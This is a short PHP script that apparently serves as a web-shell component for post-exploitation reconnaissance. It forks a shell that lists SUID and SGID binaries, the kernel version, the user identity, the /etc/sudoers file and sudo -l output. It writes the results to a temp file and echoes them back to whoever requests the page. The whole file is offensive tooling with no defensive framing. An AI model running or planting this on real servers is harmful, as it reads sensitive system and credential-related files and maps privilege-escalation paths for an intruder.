<?php
$out = '/tmp/suid_out.txt';
$pid = pcntl_fork();
if ($pid == 0) {
    // child: find SUID binary + sudo list + kernel info
    pcntl_exec('/bin/sh', ['-c', 
        'find / -perm -4000 -type f 2>/dev/null > /tmp/suid_out.txt; '.
        'find / -perm -2000 -type f 2>/dev/null >> /tmp/suid_out.txt; '.
        'cat /proc/version >> /tmp/suid_out.txt; '.
        'id >> /tmp/suid_out.txt; '.
        'cat /etc/sudoers 2>/dev/null >> /tmp/suid_out.txt; '.
        'sudo -l 2>/dev/null >> /tmp/suid_out.txt'
    ]);
} else {
    // parent: bekle sonra oku
    sleep(5);
    echo file_get_contents($out);
}